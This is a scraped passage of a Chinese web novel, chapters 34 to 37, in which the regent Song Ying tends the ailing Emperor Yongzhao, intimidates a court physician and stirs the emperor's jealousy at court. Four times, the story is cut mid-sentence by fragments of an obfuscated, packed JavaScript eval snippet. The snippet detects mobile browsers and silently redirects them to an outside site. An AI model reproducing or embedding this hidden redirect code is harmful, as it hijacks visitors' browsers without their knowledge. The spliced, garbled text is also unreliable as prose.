视线停了数息,而后,缓缓下移—— 他正死死咬着自己的手背。 牙关绷紧,肌肉在微微抽搐,鲜血自齿缝间汩汩渗出,染红了手背上深可见骨的牙印。 触目惊心。 她又抬眼。 那双眸子已是一片混沌血海,血丝如蛛网,从眼角一直蔓延至瞳孔深处,仿佛要将漆黑瞳仁彻底搅碎。 四目相对的刹那。 混沌眼眸倏然涣散,掀起波澜。 茫然一瞬。 随即,猩红猛地倒缩,翻涌而来的竟不是失控躁郁,而是……恐惧。 “谁让你进来的?!”他嘶吼出声,“出去!” 他抄起手边物件,看也不看,便朝着她的方向狠狠掷了过去! 宋迎根本没眨眼。 镇纸砸在理她三米远的墙壁上。 闷响过后,墙灰簌簌而落,留下一个深坑。 他想吓退她,用足了力道。 却避开了她,分毫未差,连灰都没飘过来。 宋迎被惊了一跳。 突然,这腔火气被撞得烟消云散。 哪里是什么豺狼虎豹,明明是只淋了雨的……坏狗狗? 心头蓦地一软,那些到了嘴边的话,就这么咽了回去。 “过来,” 宋迎声音放轻,穿过狼藉混乱,系在了永昭帝濒临崩溃的神经上。 “好不好?” 理智在抗拒,身体却在渴望。 那声音像种在他身体里的蛊,驱使着他想要靠近的欲望。 他死死盯着宋迎,喉结滚了滚,想说什么,却只挤出含糊又破碎的呜咽。 宋迎见他迟迟不肯动。 叹了口气,走上前跨了一步。 但—— 宋迎低头,看了眼自己干净的靴底,又看了一眼前方狼藉,实在没有下脚的地方。 刚跨了一步的脚,悬在半空,又收回去了。 永昭帝心中一松,随即化为痉挛般的疼痛。 “别过来!”永昭帝猛地抬头,“宋迎,你以为朕不敢杀你吗?!” 暴戾的威胁在空旷大殿散开。 宋迎眉梢未动,从那双平静眼眸里露出些许嫌弃。 “陛下你看,”她伸手,点了点两人之间的残骸碎墨,“路都让你砸烂了,没法走。” 宋迎说得理所当然,“你既然不愿我过去,那你过来吧。” …… 世界,在永昭帝脑中,再一次安静了。 他怔怔地望着她,瞳孔露出血色下的无措。 有那么一瞬间,他无法理解这几个字的含义。 她……说什么? 让他……过去? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971086|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“过来。” 宋迎又说了一遍,语气还是那么轻柔。 她就那么站在原地,站在那片狼藉的边缘,朝他摊开双手。 掌心向上。 那是一双怎样干净的手。 腕骨纤细,指节匀亭,像一截暖玉。 ——过去。 到她那里去。 脑海中仅剩这一个声音。 所有挣扎与喧嚣,在这道赦令前,尽数溃散。 身体,比理智先一步做出了反应。 那只被血浸透的手,搭上墙壁,身子摇摇晃晃地站了起来。 墙上留下狰狞血印,他朝着宋迎的方向,迈出了第一步。 一步。 五感六识瞬间反扑,他腿一软,险些跪倒在地。 可他的视线,还落在掌心上。 那双手稳稳地悬在半空,等着他。 单手撑膝,重新支起身体。 又一步。 脚下踩碎了玉器碎片。 再一步。 衣摆蹭过奏疏墨痕。 每一步,都在离安宁更近一步。 每一步,都在离宋迎更近一步。 终于,他踉跄着,走到了她的面前。 指尖离她的掌心,只差分毫。 他却不敢再向前。 他怕自己满身的血污,会弄脏莹白。 就在他迟疑的瞬间,那双手毫不犹豫地,覆了上来,握住了他颤抖的指尖。 温热干燥的触感,透过他满手黏腻的血污,一路烫进了心底。 顺着腕脉,烧遍全身。 凶兽偃旗息鼓,温顺地蛰伏了下去。 身体骤然一松。 他再也支撑不住,高大的身躯猛地向前倾倒。 宋迎早有预料,不退反进,微屈膝盖,用肩膀稳稳撑住他砸下来的重量。 她任由他的头靠在自己的颈窝,低头闻了闻他身上的味道后—— 宋迎嫌弃地撇了撇嘴。 低声抱怨道,“脏死了。” 34. 第 34 章 宋迎只能撑一时,自然搬不动人高马大的狗皇帝。 “来人。”她高声喊道,“将陛下移驾偏殿。” 内侍手忙脚乱地将不省人事的永昭帝抬走。 宋迎环视了圈,这万春殿是没法住了,重新装修吧。 她继续吩咐道:“这里的东西,不必修了,全都换新的。” 待她安排好一切,回到偏殿,太医院的张院正已经到了。 永昭帝被宫人伺/候着,换了身干净寝衣。 偏殿的床到底没有正殿的大,被他一个人占个满当,都快躺不下了。 那晚上她还要怎么睡啊。 宋迎蹙着眉,扫了眼永昭帝,便坐在一旁。 她姿态端凝,呷一口新茶,驱了驱寒气。 半晌,张院正撤手,回话道: “回禀殿下,陛下方才急火攻心,致使气血逆行,神思混乱。待陛下醒来,好生休养,便无大碍了。” “有劳张太医了。”宋迎抬眼笑道,“去外头领赏吧。” 张院正暗松了口气,连忙叩首谢恩:“多谢殿下赏赐,此乃臣分内之事。” 他提着药箱,躬身退出殿外。 张院正一只脚刚迈过门槛,身后,便传来一声轻笑。 下一瞬,他只觉后背贯入一股疼痛,接着,整个人不受控制地向前扑去。 脸直接栽进庭院里的积雪中。 头冠摔得歪斜,雪沫呛进口鼻,张院正顾不得去擦脸上狼狈,连忙回过身,重新跪好。 “殿下!臣、臣不知犯了何罪?” 宋迎缓步,踱至他面前,长身玉立。 她垂眸睨着,方才和煦笑意荡然无存,眉眼浸在阴影里,凉薄又寡恩。 “张太医怕是忘了,”宋迎轻嗤,“本王乃当今摄政王,大权在握,一人之下而已。” “胆敢对本王阳奉阴违,你猜,你的项上人头,能不能安稳待到陛下醒来?” 张院正浑身抖如筛糠,不知是被冻的,还是被吓得。 “臣、臣不敢!臣所言句句属实,绝无半句虚言!” 他不住地磕头,额头撞在雪地里,洇出一片殷红。 宋迎撇过视线,说实话,她也拿不准。 可那狗皇帝……说是体虚得卧床静养,偏偏抓着她的力气大得惊人。 就没见过哪个快死的人,亲起嘴来还那么凶的。 她泄了口气,既然威逼无用…… 宋迎话锋一转:“本王听说,张院正的掌上明珠,许了傅家二公子?” 张院正身子猛地一僵,不明白为何突然提起这个。 宋迎眉梢微挑,复又继续:“傅二郎眠花宿柳的名声,整个京州谁人不知?” 张院正哆嗦着,他当然知道傅二的德行! 都怪他!都怪他这张管不住的嘴! 平日里总忍不住在同僚面前夸耀女儿的乖巧贴心,否贼也不会被人盯上! 吏部侍郎,官居三品,又岂是他能得罪的起的! 张院正重重叹了口气,闭上眼。 宋迎俯下身,指尖拂去他肩头积雪,“张大人,那是你唯一的女儿。你真舍得?” 张院正肩头剧颤,新雪簌簌而落。 他怎么舍得,那是他唯一的女儿啊! “本王向来心善,”宋迎勾唇起身,“这样吧,明日,本王便亲自为你女另择良婿,至于傅家那门亲事,一道懿旨作废便是。” 她好整以暇地睨着,“你,意下如何?” 张院正猛地抬起双眸,老泪夺眶而出,一个头重重磕下。 额头埋入冰雪,崩溃声从雪地里传来:“殿下……殿下饶命!” “陛下……陛下他安然无恙!他、他根本没有中毒!” 寒风呼啸破碎,吹得宋迎有点冷,脑子也有点乱。 据张院正所言,永昭帝根本没有中毒。 这怎么可能呢,黎婧容为了复国大业,怎么可能不下毒? 难道她所依仗的“剧情”,从根本上就是个谎言? 还是……其中发生了什么变故? 宋迎百思不得其解,她无暇顾及张院正,转身进了屋。 永昭帝睡得很沉。 方才太医为他处理好了伤口,那只手被裹得像粽子,搁在被褥上。 薄唇微抿,长睫投出两弯小小阴影,遮住了那双金瞳,竟透出几分少年气。 ……装得还挺像。 宋迎在心底冷嗤,眯着眼睛,目光如刀,恨不得在他脸上多划几道口子。 可一落上去,心头那点薄怒,竟被卸得干干净净。 ——“他喜欢她。” 这个事情又扎了宋迎一下。 扎得眼睛有点热,她移开视线,不敢再看他。 宋迎转身,不知为何踱步至殿中一人高穿衣镜前。 镜中清晰映出她的模样。 头戴束发玉冠,冠上东珠温润生光。 一袭绀黄四爪蟒袍,云纹自领口张扬至袖口。 穿上,便不怒自威。 穿上,便冷冽如霜。 宋迎看着镜中的自己,微微蹙起了眉。 这身衣裳,她其实一点都不喜欢。 朝服的料子又硬又沉,尤其是这高领,总硌得她下巴不舒服。 绀黄色也显得老气横秋,她明明最喜欢绯色和水绿了! 袍子上的四爪金蟒更是张牙舞爪,狰狞得很。 她还是喜欢那些漂亮柔软的罗裙,更喜欢用朱钗松松挽起长发。 玉冠好沉,压得她头皮都疼。 可她,是摄政王。 他们之间,本该是君臣。 可现在,那条界限,似乎渐渐变得模糊起来。 宋迎,你扪心自问,你对狗皇帝,到底是什么感觉? 喜欢? 宋迎在心底咀嚼着这个词,随即又觉得好笑。 谈不上吧。 她只是觉得,这头桀骜不驯的凶兽,如今愿意收起獠牙,摇着尾巴,露出柔软肚皮的时候—— 心底突然生出一丝奇特的满足感。 这种感觉很熟悉。 上一辈子,她不是没被高大强壮的哨兵追求过。 怎么说呢。 总感觉怪怪的。 在哨向设定的世界里,向导的稀缺性本该成为主导者,但大多时候,向导却属于下置位,沦为附庸。 ——只因哨兵数量过于庞大,庞大到大多是他们掌握着话语权。 即使是她这个F级,因为数量稀少的原因,也从不缺追求者。 那些哨兵,把“我愿意为你献上生命”挂在嘴边,仿佛是什么了不得的事。 但是,宋迎想找个人陪着去图书馆的时候—— 他们只会用看怪物的眼神看她,然后打开光脑说:“为什么要去那看书?整个联邦书库的数据,我不到一秒就能下载完毕。” “难道你的光脑没有升级吗?我可以帮你。” 感觉他们是在嫌弃她老土。 不,他们就是在嫌弃她老土。 那永昭帝和他们,又有什么区别? 他或许是主宰一切的帝王。 可他收起獠牙,难道不也是因为,他意识到了她的“利用价值”吗? 宋迎甚至懒得去想以后。 以永昭帝的性格,他若想要,只会直接夺取,从不会问猎物的意愿。 他的喜欢,一旦宣之于口,便不是商榷,而是圣旨。 就像从前,他做过的无数次决策一样—— 她的意见,永远都不重要。 从前不重要,以后也不会重要。 宋迎跳动的心,渐渐冷却下来。 殿外,准时响起小太监通传声: “殿下,该上朝了。” 是啊,还有好多事等着她做呢。 两个时辰后的事,便留给两个时辰后的自己。 宋迎迈过门槛,朝服拖曳出一道流影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975390|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金銮殿上,百官分列两侧。 龙椅高悬,却空无一人。 所有人的目光,尽数攒射在龙椅之下的那个身影上。 宋迎凭栏而立,“有事,奏。” 话音刚落,有人便从队列中越步而出,躬身道:“臣,有本要奏。” “讲。” “启禀殿下!宫禁疏漏,刺客横行,前有储秀阁,后有尚食司!此乃我大景之奇耻大辱!臣以为,禁军统领与内庭总管,皆有失职之罪,恳请殿下严惩!” 话音刚落,殿中便有数人蠢蠢欲动,正欲附和。 还没等附和声起,另一名老臣已然出列, “陛下龙体乃国之根本!可至今缠绵病榻,太医院竟连个病因都说不出来!臣敢问殿下——这究竟是太医无能,还是有人……另有所图?!” “王大人慎言!”一声喝止打断了诛心之语。 众人循声望去,只见盛向明排众而出。 王侍郎认得他,是摄政王一手提拔的寒门新贵,好像去江南办了什么差事,才回京不久。 顿时面露不屑:“有何高见?” 盛向明先是朝上首恭敬一揖,而后朗声道: “王大人此言,恕下官不敢苟同!正因宵小猖獗,才更显殿下之功。若非殿下亲肃内廷、调派禁/卫,焉有今日安稳?” “至于陛下龙体,殿下忧心如焚,彻夜陪护,此乃阖宫上下有目共睹!王大人不思为君分忧,反倒在此捕风捉影,以市井流言构陷监国重臣,意图动摇国本——” 盛向明向前踏出一步,“不知,是何居心?!” 有人帮自己说话的感觉真是好。 宋迎终于能够理解高伯深为什么要结党营私了。 眼见那王大人气得发抖,就要与盛向明争辩,殿上气氛愈发剑拔弩张。 宋迎抬手虚按,“盛卿所言,亦是本王所想。” 她一句话先定了性,随即目光飘至王侍郎身上, “不过,王大人的忧心也不无道理。陛下圣体日安,不日便可亲理朝政。这些话,王大人可敢留到陛下面前,再说一次?” 宋迎轻飘飘一句反问,却让那人浑身一颤,跪倒在地:“臣、臣失言!请殿下恕罪!” 没点骨气的东西。 她睨了眼,淡淡吐出两个字: “退下吧。” 钟磬响起,下了朝,百官鱼贯而出。 宋迎行在最前,身后却传来一道声音。 “殿下,请留步。” 是盛向明。 宋迎停下脚步,转身看他。 晨光穿过雕栏玉砌,光斑跳跃在他脸上,那双耿直的眼眸,显得有些灼人。 盛向明快走几步上前,深深一揖:“臣,多谢殿下知遇之恩。” 宋迎的目光在他身上停留了片刻,不曾想这么些时日他便回京了。 此人有胆识,有谋略,假以时日,必成大器,应当好好夸奖才是! 声音是难得的温软,“本王只是给了你一个机会。” 她顿了顿,看着对方骤然亮起的眼睛, “是你自己,牢牢抓住了它。” 就是这一刹那的柔和,让盛向明的心跳漏了一拍。 他怔在原地,目光竟有些挪不开了。 宋迎几乎是立刻就捕捉到了他的异样,眼中笑意凝固。 “盛向明,”她眉头微蹙,声音冷了三分,“你在看什么?” 盛向明猛地回神,骇然惊觉自己方才的目光有多僭越! 热意从耳根烧到脖颈,他慌忙垂下头,“臣失礼!请殿下恕罪!” “是、是因……”他心头狂跳,慌不择言地解释,“殿下方才展颜,眉眼神韵,像极了臣的一位故人……” 宋迎心中微动,隐约察觉了什么。 她向前半步,“那人,姓甚名谁?” 盛向明窘迫至极,老老实实回答道:“……姓宋。” “……名,晋同。” 35. 第 35 章 永昭帝早就醒了。 他天生五感过人,此刻伤病缠身,更是将这份敏锐催化到了极致。 殿外风雪呼啸似鬼哭,宫人脚步奔走似催命,吵得他的心一抽一抽的。 偏偏,有一道清冽干净的冷香,霸道地侵占了他所有的感官。 他眼也未睁,侧过头,鼻尖蹭着被褥深嗅,不知餍足地去追寻那气息的源头。 不够。 还远远不够。 喉结滚动,又重重咽了几口唾沫。 他挣扎着,欲起身,动作扯到手背伤处。 尖锐刺痛让他倒抽一口冷气,却也唤回了那双手的触感。 她的手—— 很小,温软细腻,不盈一握,大概只有他的一半大。 那么软,像九天舒卷的云。 他从未握过云,却下意识地认为,天际云絮,摸上去,就该是她指尖的温度与触感。 他知道不该放任自己这样下去。 可心神的松懈,成了无法抗拒的借口,放任自己随波逐流。 他能感觉到她肩骨纤细,是如何撑起他大半身躯的重量。 也听见了那声嘟囔,“脏死了。” 他几乎要笑出声。 隐秘的雀跃,像是冬日火焰,燎得掌心发烫,也不舍得离开温暖。 在他面前,她是断然不会说这种话的。 是了,他和她,身份有别。 咳意上涌,永昭帝发出几声闷咳,又被死死压回喉间。 他亲手将她捧上摄政亲王之位,他若身死,她便是未来君主。 如此,还有什么,是不能在他面前说的? 郁气冲上头顶,引得他终是没忍住,剧烈地呛咳起来。 撕心裂肺后,郁气被咳尽,心肺间一片空荡的疼。 那股好奇又变本加厉地缠了上来,挠得心尖,又痒又麻。 忽然想看到更多—— 这种渴望,可以称得上是贪婪的新奇感,瞬间压过隐秘欢愉。 他想要的,不再是那一点点掌心了。 外头钟磬声响起。 永昭帝等了又等。 眉心不自觉地蹙起,怎么还没回来。 那点愉悦迅速发酵成了焦躁,“……隐。” 心痒难耐,他终于睁开了眼。 “去看看。” …… …… “盛卿是辽州人士?” 阁楼高耸,四面风来。 宋迎立在窗前,目光落在远处一线积雪的寒光上。 京州尚有残雪,千里之外的辽州,想必冰封三尺。 盛向明心头一跳,愈发觉得古怪。 殿下日理万机,怎会无端问起他的籍贯? 他不敢深思,连忙藏下惊疑,恭谨回道:“回殿下,臣祖籍正是辽州。” “本王方才……”宋迎顿了顿,深吸一口气道,“听你提及……宋晋同。” 她缓缓转身,望向盛向明,“你与他,似乎颇为熟稔?” 盛向明怔了怔,没想到殿下竟是为了此事。 他虽不解殿下为何对宋晋同如此关心,但还是老老实实地答道: “是,臣与晋同兄,曾是同科进士。” 提起故人,盛向明神情复杂,有敬佩,更有痛惜。 “晋同兄他……才情卓绝,胸有丘壑。他的策论被主考官誉为‘十年难得一见’,我等无不钦佩他的抱负与远见。” “那后来呢?”宋迎声音有些发紧。 盛向明重重叹了口气:“后来……臣与他一同外放,正欲大展拳脚,报效君王。谁知……辽州忽传急讯,说宋家……出了事。” 他只知是家事,不便多问,不太清楚其中原委。 但转念又想,或许是殿下惜才,偶然间读到了晋同兄当年的策论,故有此一问? 盛向明抬眼,觑了觑摄政王的神色。 “晋同兄听闻家变,悲痛之下,毅然辞官归乡。自那以后……便再无音讯。” 他低下头,语气满是遗憾,“晋同兄那样的国之栋梁,若……若非家门不幸,如今定能站在朝堂之上,为殿下分忧,为陛下尽瘁。” 话音散在风声呜咽里。 宋迎一个字也听不见了。 原来是这样。 原来……真的是因为她。 还好不是爹娘出了什么事。 她宁愿,宁愿是兄长因她归家,也不愿是……爹娘的身子,真的熬不住了。 是思乡情切。 更是近乡情怯。 “你,退下吧。” 盛向明还为故友争取些什么,可他看见摄政王垂在广袖下,慢慢收拢成拳的五指。 还是默默行了一礼,退出了高阁。 脚步声远去,只剩下宋迎一人。 她伸出手,接住一片随风飘入的雪花。 雪花迅速消弭,像一滴滚烫的泪。 京州的雪,比辽州的冷。 是她不孝。 指尖寒气浸透骨缝,宋迎收回手。 她终于转身,一步步走下高阁。 回到偏殿时,永昭帝依旧睡得沉。 宋迎的目光扫过,床榻被那个人占得满满当当,只在床沿留出窄窄一条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980871|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这晚上怎么睡啊,宋迎叹了口气。 床上的人睫毛微颤。 算了忙起来,或许就不会胡思乱想了。 宋迎这么想着,走到案前,翻开了奏折。 灯火如豆,投下一道清瘦孤直的身影。 她解下玉冠,搁在案角。 青丝如瀑,顺着单薄肩胛滑落,褪下外袍,留出里头一身素净。 做事还是清简些好。 思索、决断、批阅。 她仿佛不知疲倦,亦不知晨昏。 直到,她翻开了一本关于辽州的奏折。 是地方官的例行公事,文辞平庸。 ——“辽州初雪已至,民心甚安……” 执笔的手微微一颤,笔尖顿住。 一滴朱砂坠落,在宣纸上缓缓洇开。 思绪拉回辽州。 辽州的风,带着水汽, 不似京州这般,风冽如刀,刮得她脸疼; 辽州的雪,绒绒雪花, 不似京州这般,灼人皮肉,冻得她手疼。 阿娘还会去小厨房做她爱的条子肉,浓油赤酱,不似京州,那么寡淡。 她又想起了兄长。 兄长和她一样,都爱穿水绿色的衣裳,会笑着揉乱她的头发,说她是个野丫头。 是了, 辽州的雪,是暖的。 再抬眼,窗外天色泛起沉沉鸦青。 腹中空空,她却破天荒地不觉饥饿。 她本想强撑着精神去汤池沐浴,可目光一转,却瞥见帐幔微动,里面躺着一个人。 那点残存的力气顿时散得干干净净,气不打一处来。 不洗了,熏死他才好。 吹熄了灯,宋迎摸黑上了床,只在床沿最外侧躺下,缩成了一小团。 她背对着他,将脸深深埋进枕席间。 死寂黑暗似乎重新唤醒了记忆。 身体先于意识开始战栗。 为了不让哽咽溢出,她将手背送到嘴边,痛意让混沌清醒了一瞬,旋即被更汹涌的悲恸吞噬。 终于,一滴眼泪挣脱了眼眶,砸进枕头里。 紧接着,是第二滴,第三滴……再也止不住。 她没有发出任何声音,连呼吸都放得很轻很轻。 泪水却决了堤般,汹涌滑落,迅速浸湿了一大片枕巾。 而她不知道,身旁的那双眼眸,缓缓睁开。 凝视着她。 她在发抖? 她在哭。 为了……今日暖阁见的男人? 嫉妒好像变成大手,一把握住了他的心脏。 36. 第 36 章 宋迎一睁眼,就看见永昭帝正瞪着她。 昨天迷迷糊糊睡过去的时候,分明是背对着的啊,怎么…… 他没说话,那双近在咫尺的眼眸,就那么直勾勾地看着她。 宋迎心头一凛,下意识坐起身,却被身上的异样感惊得僵住。 ——她的腿,横在了永昭帝的腰间。 “陛下醒了?”她飞快收回腿,拢了拢散乱的衣襟,强作镇定,“可要臣传太医,来请个平安脉?” “不必。” 永昭帝盯着她微微泛红的眼眶,“倒是你,昨夜……似乎没歇息好?” 宋迎心猛地一沉,抬手抚上眼睫,肿得这么明显的吗? 见她沉默,永昭帝眉心渐拢,冷笑道:“可是梦到了什么伤心事?” 他忽然倾身向前,咬牙切齿地唤了她的名字。 “宋、迎。” “臣……臣是想起家了,”宋迎垂下眼,避开迫人视线,“京州大雪连绵,不免想起家乡辽州,一世情动……” “是么。” 听出永昭帝语气狐疑,宋迎忍不住腹诽,她又没说错!的确是想家了啊! 京州大雪都下了几天了,昨日不情动,前日不情动,怎么偏偏跟朝臣去了趟暖阁就情动了? 郁气翻涌,烧得他胸口疼。 永昭帝撑身欲起,似乎想下床。 动作间牵动了伤口,带出一声闷哼。 “陛下!” 宋迎赶忙伸手去扶。 手刚碰到胳臂,就被永昭帝反手一把攥住。 永昭帝沉沉地盯着她:“朕,今日可上朝。” “啊?”宋迎一愣。 之前装病的时候不上朝,单偏偏今日就要上朝了? “陛下龙体尚未痊愈,”宋迎劝道,“昨日太医言,还请再修养两日。” 昨日昨日,还是昨日! 她果然想支开他! 永昭帝眼神骤然转冷,猛地拂开她的手。 宋迎:……? 宋迎被推得身子向后微倾。 他醒过来还甩上脸子了?! 她给他擦屁股都快给他擦到屁股缝了! 丫的,难怪说“伴君如伴虎”、“帝王心术,向来如此”了! 今日,她算是领教得明明白白! “怎么?”永昭帝讥诮问道,“朕若上朝,是怕耽误了你的……” 目光触及她瞬间下拉的眉眼,永昭帝心口蓦地一刺,刻薄话还是咽了回去,生硬地转了个弯,“……大事?” 宋迎利落地翻身下床,退后三步,双手相握道:“臣不敢。臣所作所为,皆为陛下分忧。既然陛下执意上朝,那臣即刻去为陛下准备朝服。” 你以为我喜欢天天加班啊,果然当皇帝的疑心病重。 不就是怕她功高盖主吗? 男人都一个样,想得永远都是自己。 自私自利的爱,可真是让人畏惧又……心寒。 宋迎越想越委屈,干脆甩袖转身,没入屏风后。 宋迎情绪外露得太过明显。 屏风上水墨山河的影子微微晃动,隔不断视线,也隔不断她身上凛然怒意。 她居然还敢生气?她背着他邀人赏雪的时候怎么不对那个男人生气? “咳咳咳……!” 怒火攻心,这一夜的煎熬,真就让他气血逆行,心口绞痛起来。 他又瞥了眼屏风,这么大的动静,她不可能没听见。除非她聋了! 然而,屏风后的人,毫无动静。 永昭帝叹了口气,默默闭上了双眼。 屏风后,窸窣的穿衣声很快停了。 宋迎再出来时,已是朝服齐整,玉冠高束,手里捧着明黄朝服,赌气似的摔在桌上。 她目不斜视,径直走向殿门。 “站住。” 宋迎脚步一顿,没有回头。 “朕说了,今日上朝。”他几乎是从齿缝里,一个字一个字往外蹦,“替、朕、更、衣。” 宋迎闭了闭眼,按捺住情绪。 她转过身,脸上挂着恭敬:“遵命,陛下。” 永昭帝一寸寸描摹着宋迎的动作。 可她却始终垂着眸,没有与他对视一次。 她为他披上外袍,神情专注,像是侍弄器物。 毫无感情可言。 她指腹温热,偶尔擦过颈侧、胸膛、腰间,却能激起一圈圈战栗。 永昭帝的喉结,不受控制地滚了又滚。 终于,她为他束好玉带,指尖在他腰侧停留了不足半息,便如避蛇蝎般迅速后退,拉开距离。 而后,躬身,垂首。 “陛下,请。” …… …… 朔雪未歇,宫门大开。 百官入内,脚步却齐齐一凛。 头戴十二冕旒的君王,竟然早早端坐其上。 冕旒珠帘垂下,他面色苍白,唇色也淡,却无人敢将他与“病弱”二字联系起来。 那双凤眼半阖,目光如刃,寒光自俯首众臣头顶刮过。 天威,重临。 宋迎立于九龙金座之下。 待百官入定后,内侍高声道:“有事启奏——” 话音刚落,工部尚书便出列上奏,辽州雪灾一事。 “启禀陛下,辽州雪灾,积雪数尺。臣等连夜商议,拟开春后加固辽河主堤,征发民夫三千,以防春汛成灾。请……陛下圣裁。” 那一声“殿下”险些脱口而出,又被他生生咽了回去。 这方案中规中矩,挑不出大错。 是稳妥的选择。 众臣以为此事将就定下—— “不可!” 有人急声反对道。 盛向明自列中走出,高声继续说道: “启禀陛下,启禀殿下!辽河水文与别处不同,其下游支流繁杂,百年前有先贤魏公,曾依地势修筑暗渠分流,名为‘魏公渠’!若只固主堤,不通暗渠,一旦春汛来临,主堤承压,河水倒灌,届时决堤之祸,必将十倍于从前!” 他的话掷地有声,却引来一片窃窃私语。 “魏公渠?闻所未闻。” “怕不是什么乡野杂谈,也敢拿到朝堂上来说?” “图纸何在?史料何在?岂容盛大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000011|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,凭一句乡野传闻,便空耗国力?” 永昭帝:“工部所议,乃历年成法。盛卿之言,可有实证?” 盛向明被驳得面色涨红,乡间野谈,百姓口口相传,如何能拿出证据? 他急得额角冒汗:“图纸早已失传,但、但此事在辽州人尽皆知,臣……” 御座之上,永昭帝余光自始至终,笼着宋迎一人。 他看见她,看着她秀眉微蹙,看见她望向盛向明的眼神里,流露出一丝……不忍? 下一瞬,宋迎动了。 她先是跨出一步,接着,清越声音响彻整座金銮殿。 “启禀陛下,盛卿所言不虚!” 盛向明猛地抬起头。 而永昭帝的眸色,顷刻间沉了下去。 宋迎目光越过众人,落在了盛向明身上。 “辽州民谣有云:‘雪花大如手,岂能不拜魏高台’。(1)” “这‘高台’,指的便是魏公渠上最关键的一处泄洪石阀。它不在主河道,而在下游三十里外的‘回龙湾’。” “此乃辽州百姓代代相传。” 盛向明震惊地望着上首,是了是了!就是这句俚语! 长揖及地,他才猛然反应过来,难不成摄政王……竟也是辽州人士? 疑问尚未落地,他已直起了背脊。 盛向明复又望向上首,正好迎上宋迎弯起的双眼。 她几不可见地颔首。 这一幕,尽数落入龙椅上那双幽暗眼眸。 他听不懂那句俚语,他不知道什么魏公渠,他更不明白回龙湾在何处。 他只看到,在朝堂之上,他的摄政王,在他眼皮底下,用一个他闻所未闻的典故,与另一个男人。相视一笑。 心脏深处,像是有什么东西被活生生撕裂,滚烫血液轰然炸开。 杀了他。 将那个碍眼的男人,碎尸万段。 不,不行。 心底有个声音告诉他,这样会把宋迎推得更远。 永昭帝笑了,他想到了一个好主意。 “传朕旨意。” 此言一出,宋迎同众臣一齐跪下。 他目光依旧缠在宋迎的身上: “盛向明,忠君体国,心系民生,如此栋梁,朕心甚慰。” 盛向明一愣,随即大喜,自己的谏言可是被采纳了?! “既是辽州栋梁,自当为家乡分忧。” “特擢其为巡查御史,总领北上河运诸事。” “——即刻启程,无诏,不得返京。” 调回自己家乡可是求都求不来的福气! 不,何止是福气!这简直是天大的恩典! 盛向明激动得叩了又拜,拜了又叩。 “多谢陛下隆恩!臣,领旨谢恩!” 宋迎缓缓抬头,看向龙椅上的人。 明升,实贬。也就只有盛向明会发自内心的高兴了。 如此冲动,毫不算计,这不是狗皇帝的风格啊。 永昭帝撞上她眼中不解,唇角笑意加深。 “退朝。” 他拂袖而起,“摄政王,留下。” 37. 第 37 章 厚重殿门在身后缓缓合拢。 方才还喧嚣鼎沸的金銮殿,顷刻间死寂下来。 斜阳投下一道狭长光斑,不偏不倚地,落在两人之间。 永昭帝坐在九龙宝座上,一瞬不瞬地盯着宋迎。 接着,他起身走下高阶。 脚步落地很缓,身形却有刹那的踉跄,这点虚弱霎时酿满了眸底骇人戾气。 永昭帝走到宋迎面前,停下。 居高临下地俯视着她。 这是他从未见过的宋迎,是朝堂上的宋迎。 过去,他只能从隐卫的密报中窥得一鳞半爪。 可亲眼所见,远比想象来得更让他心旌摇曳—— 声线低沉,透着不容违抗的威压,跟在他面前那副鹌鹑样截然不同。 颇有他的风范。 这种感觉—— 就像是悉心浇灌了一朵花,看着她破土抽芽,果真,她不负所望,开出了惊艳世人的花骨朵,还生出了锋利漂亮的尖刺。 只是这刺,连主人都敢扎。 “摄政王今日在朝上,真是让朕……”永昭帝微眯双眼,深吸了一口气,才吐出下半句。 “……大开眼界。” 宋迎不动声色地向后微撤半步,避开了他的笼罩。 垂首敛眉道:“为陛下分忧,为朝廷举贤,是臣的本分。” “盛向明确有才干,臣不敢因私废公。” 来了来了又来了。 举荐是拉帮结派,辩驳是意图专权。 正话反话他都能说,怎么说他都有理, 谁让他是皇帝。 欲加之罪,何患无辞。 宋迎心中腹诽万千。 “本分?” 永昭帝低声重复着,又猛地逼近一步。 他进一步, 